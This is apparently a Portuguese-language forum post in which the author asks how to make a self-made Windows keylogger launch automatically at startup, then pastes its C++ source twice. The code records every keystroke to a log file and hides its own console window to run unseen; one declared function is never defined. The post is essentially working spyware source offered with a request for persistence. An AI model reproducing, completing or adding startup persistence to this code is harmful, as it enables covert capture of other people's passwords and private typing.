Este keylogger é local, eu mesmo fiz, mas queria que ele iniciasse sozinho com o Windows, como faço? segue o código. valeu ^^
#include <iostream>
#include <windows.h>
#include <stdio.h>
using namespace std;
int salvar(int tecla, char *file);
void esconder();
void iniciar ();
int main() {
iniciar ();
esconder(); //função para o programa ficar em segundo plano
char a;
while(1){
for(a=8;a<=190;a++){
if(GetAsyncKeyState(a) == -32767) // captura as teclas !!
salvar(a,"log.txt"); //salva no arquivo log.txt
}
}
return 0;
}
int salvar(int tecla, char *file){
FILE *newarquivo;
newarquivo = fopen(file, "a+");
cout << tecla;
//===========================AJUSTE DE TECLAS============================================ =======
if(tecla == 1 || tecla == 2)
return 0;
else if(tecla == 8)
fprintf(newarquivo, "%s", "[BACKSPACE]");
else if(tecla == 18)
fprintf(newarquivo, "%s", "[ALT]");
else if(tecla == 20)
fprintf(newarquivo, "%s", "[CAPS LOCK]");
else if(tecla == 91)
fprintf(newarquivo, "%s", "[WINDOWS]");
else if(tecla == 13)
fprintf(newarquivo, "%s", "\n");
else if(tecla == 32)
fprintf(newarquivo, "%s", " ");
else if(tecla == 46)
fprintf(newarquivo, "%s", ".");
else if(tecla == VK_TAB)
fprintf(newarquivo, "%s", "[TAB]");
else if(tecla == VK_SHIFT)
fprintf(newarquivo, "%s", "[SHIFT]");
else if(tecla == VK_CONTROL)
fprintf(newarquivo, "%s", "[CONTROL]");
else if(tecla == VK_ESCAPE)
fprintf(newarquivo, "%s", "[ESC]");
else if(tecla == VK_END)
fprintf(newarquivo, "%s", "[END]");
else if(tecla == VK_HOME)
fprintf(newarquivo, "%s", "[HOME]");
else if(tecla == VK_LEFT)
fprintf(newarquivo, "%s", "[LEFT]");
else if(tecla == VK_UP)
fprintf(newarquivo, "%s", "[UP]");
else if(tecla == VK_RIGHT)
fprintf(newarquivo, "%s", "[RIGHT]");
else if(tecla == VK_DOWN)
fprintf(newarquivo, "%s", "[DOWN]");
else if(tecla == 190 || tecla == 110)
fprintf(newarquivo, "%s", ".");
//================================================== ==========================================teste
else
fprintf(newarquivo, "%s", &tecla);
fclose (newarquivo);
return 0;
}
void esconder(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
#include <iostream>
#include <windows.h>
#include <stdio.h>
using namespace std;
int salvar(int tecla, char *file);
void esconder();
void iniciar ();
int main() {
iniciar ();
esconder(); //função para o programa ficar em segundo plano
char a;
while(1){
for(a=8;a<=190;a++){
if(GetAsyncKeyState(a) == -32767) // captura as teclas !!
salvar(a,"log.txt"); //salva no arquivo log.txt
}
}
return 0;
}
int salvar(int tecla, char *file){
FILE *newarquivo;
newarquivo = fopen(file, "a+");
cout << tecla;
//===========================AJUSTE DE TECLAS============================================ =======
if(tecla == 1 || tecla == 2)
return 0;
else if(tecla == 8)
fprintf(newarquivo, "%s", "[BACKSPACE]");
else if(tecla == 18)
fprintf(newarquivo, "%s", "[ALT]");
else if(tecla == 20)
fprintf(newarquivo, "%s", "[CAPS LOCK]");
else if(tecla == 91)
fprintf(newarquivo, "%s", "[WINDOWS]");
else if(tecla == 13)
fprintf(newarquivo, "%s", "\n");
else if(tecla == 32)
fprintf(newarquivo, "%s", " ");
else if(tecla == 46)
fprintf(newarquivo, "%s", ".");
else if(tecla == VK_TAB)
fprintf(newarquivo, "%s", "[TAB]");
else if(tecla == VK_SHIFT)
fprintf(newarquivo, "%s", "[SHIFT]");
else if(tecla == VK_CONTROL)
fprintf(newarquivo, "%s", "[CONTROL]");
else if(tecla == VK_ESCAPE)
fprintf(newarquivo, "%s", "[ESC]");
else if(tecla == VK_END)
fprintf(newarquivo, "%s", "[END]");
else if(tecla == VK_HOME)
fprintf(newarquivo, "%s", "[HOME]");
else if(tecla == VK_LEFT)
fprintf(newarquivo, "%s", "[LEFT]");
else if(tecla == VK_UP)
fprintf(newarquivo, "%s", "[UP]");
else if(tecla == VK_RIGHT)
fprintf(newarquivo, "%s", "[RIGHT]");
else if(tecla == VK_DOWN)
fprintf(newarquivo, "%s", "[DOWN]");
else if(tecla == 190 || tecla == 110)
fprintf(newarquivo, "%s", ".");
//================================================== ==========================================teste
else
fprintf(newarquivo, "%s", &tecla);
fclose (newarquivo);
return 0;
}
void esconder(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
Comment